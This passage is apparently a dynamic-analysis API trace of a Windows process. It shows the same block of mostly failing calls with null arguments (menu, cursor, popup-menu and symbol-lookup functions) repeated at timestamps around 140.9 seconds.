param_6=0x0) returned 0 [0140.902] GetLastError () returned 0x579 [0140.902] SetLastError (dwErrCode=0x579) [0140.902] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.902] SymCleanup (hProcess=0x0) returned 0 [0140.902] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.902] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.902] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.902] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.902] GetLastError () returned 0x579 [0140.902] SetLastError (dwErrCode=0x579) [0140.902] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.902] SymCleanup (hProcess=0x0) returned 0 [0140.902] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.902] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.903] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.903] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1352, param_4=81, param_5=0x0, param_6=0x0) returned 0 [0140.903] GetLastError () returned 0x579 [0140.903] SetLastError (dwErrCode=0x579) [0140.903] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.903] SymCleanup (hProcess=0x0) returned 0 [0140.903] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.903] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.903] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.903] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.903] GetLastError () returned 0x579 [0140.903] SetLastError (dwErrCode=0x579) [0140.903] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.903] SymCleanup (hProcess=0x0) returned 0 [0140.903] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.903] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.903] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.903] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.903] GetLastError () returned 0x579 [0140.903] SetLastError (dwErrCode=0x579) [0140.903] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.903] SymCleanup (hProcess=0x0) returned 0 [0140.903] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.903] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.903] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.904] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.904] GetLastError () returned 0x579 [0140.904] SetLastError (dwErrCode=0x579) [0140.904] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.904] SymCleanup (hProcess=0x0) returned 0 [0140.904] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.904] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.904] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.904] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.904] GetLastError () returned 0x579 [0140.904] SetLastError (dwErrCode=0x579) [0140.904] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.904] SymCleanup (hProcess=0x0) returned 0 [0140.904] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.904] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.904] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.904] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=529, param_4=849, param_5=0x0, param_6=0x0) returned 0 [0140.904] GetLastError () returned 0x579 [0140.904] SetLastError (dwErrCode=0x579) [0140.904] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.904] SymCleanup (hProcess=0x0) returned 0 [0140.904] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.904] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.904] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.905] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.905] GetLastError () returned 0x579 [0140.905] SetLastError (dwErrCode=0x579) [0140.905] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.905] SymCleanup (hProcess=0x0) returned 0 [0140.905] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.905] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.905] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.905] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.905] GetLastError () returned 0x579 [0140.905] SetLastError (dwErrCode=0x579) [0140.905] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.905] SymCleanup (hProcess=0x0) returned 0 [0140.905] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.905] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.905] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.905] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.905] GetLastError () returned 0x579 [0140.905] SetLastError (dwErrCode=0x579) [0140.905] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.905] SymCleanup (hProcess=0x0) returned 0 [0140.905] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.906] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.906] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.906] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.906] GetLastError () returned 0x579 [0140.906] SetLastError (dwErrCode=0x579) [0140.906] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.906] SymCleanup (hProcess=0x0) returned 0 [0140.906] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.906] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.906] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.906] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=2, param_4=46, param_5=0x0, param_6=0x0) returned 0 [0140.906] GetLastError () returned 0x579 [0140.906] SetLastError (dwErrCode=0x579) [0140.906] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.906] SymCleanup (hProcess=0x0) returned 0 [0140.906] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.906] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.906] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.906] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.906] GetLastError () returned 0x579 [0140.906] SetLastError (dwErrCode=0x579) [0140.906] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.906] SymCleanup (hProcess=0x0) returned 0 [0140.906] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.906] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.907] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.907] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.907] GetLastError () returned 0x579 [0140.907] SetLastError (dwErrCode=0x579) [0140.907] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.907] SymCleanup (hProcess=0x0) returned 0 [0140.907] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.907] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.907] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.907] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.907] GetLastError () returned 0x579 [0140.907] SetLastError (dwErrCode=0x579) [0140.907] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.907] SymCleanup (hProcess=0x0) returned 0 [0140.907] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.907] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.907] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.907] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.907] GetLastError () returned 0x579 [0140.907] SetLastError (dwErrCode=0x579) [0140.907] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.907] SymCleanup (hProcess=0x0) returned 0 [0140.907] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.907] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.907] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.908] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=398, param_4=549, param_5=0x0, param_6=0x0) returned 0 [0140.908] GetLastError () returned 0x579 [0140.908] SetLastError (dwErrCode=0x579) [0140.908] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.908] SymCleanup (hProcess=0x0) returned 0 [0140.908] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.908] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.908] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.908] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.908] GetLastError () returned 0x579 [0140.908] SetLastError (dwErrCode=0x579) [0140.908] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.908] SymCleanup (hProcess=0x0) returned 0 [0140.908] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.908] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.908] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.908] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.908] GetLastError () returned 0x579 [0140.908] SetLastError (dwErrCode=0x579) [0140.908] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.908] SymCleanup (hProcess=0x0) returned 0 [0140.908] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.908] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.908] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.909] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.909] GetLastError () returned 0x579 [0140.909] SetLastError (dwErrCode=0x579) [0140.909] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.909] SymCleanup (hProcess=0x0) returned 0 [0140.909] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.909] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.909] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.909] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.909] GetLastError () returned 0x579 [0140.909] SetLastError (dwErrCode=0x579) [0140.909] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.909] SymCleanup (hProcess=0x0) returned 0 [0140.909] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.909] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.909] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.909] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=301, param_4=860, param_5=0x0, param_6=0x0) returned 0 [0140.909] GetLastError () returned 0x579 [0140.909] SetLastError (dwErrCode=0x579) [0140.909] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.909] SymCleanup (hProcess=0x0) returned 0 [0140.909] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.909] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.909] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.910] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.910] GetLastError () returned 0x579 [0140.910] SetLastError (dwErrCode=0x579) [0140.910] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.910] SymCleanup (hProcess=0x0) returned 0 [0140.910] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.910] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.910] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.910] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.910] GetLastError () returned 0x579 [0140.910] SetLastError (dwErrCode=0x579) [0140.910] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.910] SymCleanup (hProcess=0x0) returned 0 [0140.910] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.910] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.910] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.910] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.910] GetLastError () returned 0x579 [0140.910] SetLastError (dwErrCode=0x579) [0140.910] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.910] SymCleanup (hProcess=0x0) returned 0 [0140.910] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.910] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.910] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.911] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.911] GetLastError () returned 0x579 [0140.911] SetLastError (dwErrCode=0x579) [0140.911] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.911] SymCleanup (hProcess=0x0) returned 0 [0140.911] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.911] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.911] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.911] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=9, param_4=850, param_5=0x0, param_6=0x0) returned 0 [0140.911] GetLastError () returned 0x579 [0140.911] SetLastError (dwErrCode=0x579) [0140.911] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.911] SymCleanup (hProcess=0x0) returned 0 [0140.911] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.911] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.911] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.911] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.911] GetLastError () returned 0x579 [0140.911] SetLastError (dwErrCode=0x579) [0140.911] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.911] SymCleanup (hProcess=0x0) returned 0 [0140.911] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.911] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.911] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.911] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.912] GetLastError () returned 0x579 [0140.912] SetLastError (dwErrCode=0x579) [0140.912] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.912] SymCleanup (hProcess=0x0) returned 0 [0140.912] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.912] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.912] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.912] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.912] GetLastError () returned 0x579 [0140.912] SetLastError (dwErrCode=0x579) [0140.912] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.912] SymCleanup (hProcess=0x0) returned 0 [0140.912] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.912] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.912] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.912] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.912] GetLastError () returned 0x579 [0140.912] SetLastError (dwErrCode=0x579) [0140.912] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.912] SymCleanup (hProcess=0x0) returned 0 [0140.912] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.912] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.912] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.912] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1267, param_4=770, param_5=0x0, param_6=0x0) returned 0 [0140.913] GetLastError () returned 0x579 [0140.913] SetLastError (dwErrCode=0x579) [0140.913] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.913] SymCleanup (hProcess=0x0) returned 0 [0140.913] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.913] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.913] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.913] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.913] GetLastError () returned 0x579 [0140.913] SetLastError (dwErrCode=0x579) [0140.913] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.913] SymCleanup (hProcess=0x0) returned 0 [0140.913] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.913] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.913] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.913] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.913] GetLastError () returned 0x579 [0140.913] SetLastError (dwErrCode=0x579) [0140.913] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.913] SymCleanup (hProcess=0x0) returned 0 [0140.913] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.913] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.913] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.913] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.914] GetLastError () returned 0x579 [0140.914] SetLastError (dwErrCode=0x579) [0140.914] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.914] SymCleanup (hProcess=0x0) returned 0 [0140.914] MapDebugInformation (FileHandle=0x0, FileName=0x0, 